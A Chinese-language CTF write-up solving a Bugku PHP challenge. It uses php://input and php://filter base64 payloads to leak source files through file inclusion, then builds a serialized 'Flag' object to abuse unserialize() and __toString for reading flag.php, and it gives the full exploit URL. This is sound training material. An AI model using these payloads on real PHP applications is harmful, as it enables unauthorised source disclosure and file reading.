Bugku-welcome to bugkuctf

一道题牵扯出一大堆php知识点。。。

查看源代码

牵扯到两个PHP伪协议,第一个为php://input

file_get_contents()函数里面放的不止文件名,还可以放php的伪协议,如果把这个php://input作为文件名放进去的话,这个函数发现是一个伪协议,那作为一个“文件”,它里面肯定是没有内容的吧,那要怎么把它的内容变成一个字符串呢,它会读取我们post传递的数据作为它的”文件内容“,然后再变成一个字符串。

比如说我们现在有这么一句 file_get_contents(“php://input”),然后我们又post传递了一个数据的话,那这个数据就会被php://input读取到,然后file_get_contents又把它变成字符串。

第二个为php://filter

在include文件时,不让php代码运行,而是直接将其进行base64编码显示,解码后即为源代码

又在include($file)后提示有hint.php,因此构造

?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

同时使用post传递字符串’welcome to the bugkuctf’,得到了base64编码后的字符,将其解码得到

<?php  

class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>  

即当由类定义的对象转换成字符串时会调用魔法方法__tostring,会输出属性file的值,并返回good

看到有提示flag.php,于是将上面构造的网址改成

?txt=php://input&file=php://filter/read=convert.base64-encode/resource=flag.php

进行post后显示

猜测信息藏在index.php中,再次将网址中的flag.php改成index.php,将得到的解码

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  

?>  

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

即:

file的值如果有字符串’flag’,则会退出;如果没有,则会进行文件包含,并且执行password的unserialize(反序列化)

由此可得出flag很可能藏在flag.php里面

在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

如将’hello’这个字符串进行序列化,输出后会成为

s:5:"hello";

结合上面的hint.php文件,include可以将hint.php文件包含到index.php文件,即将Flag类引入到index.php;

$password进行反序列化后如果为对象,则echo时会调用魔法方法__tostring,再令对象的属性为flag.php,则file_get_contents()会获取flag.php的代码并当成字符串

则写一个php脚本,构造所需的序列化:

<?php  

class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
$a=new Flag;
$a->file='flag.php'; //使file为flag.php
echo serialize($a); //序列化对象
?>  

得到

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

此时可以进行验证了,构造网址为

http://123.206.87.240:8006/test1/index.php?txt=php://input&file=hint.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

得到flag

P:原来使用burpsuit进行post请求还挺方便的

pp: 在进行对象的序列化时,只能将其属性数据、类名保存起来,而方法被忽略;在进行对象反序列化时,只要反序列化的位置有该文件,就可将对象还原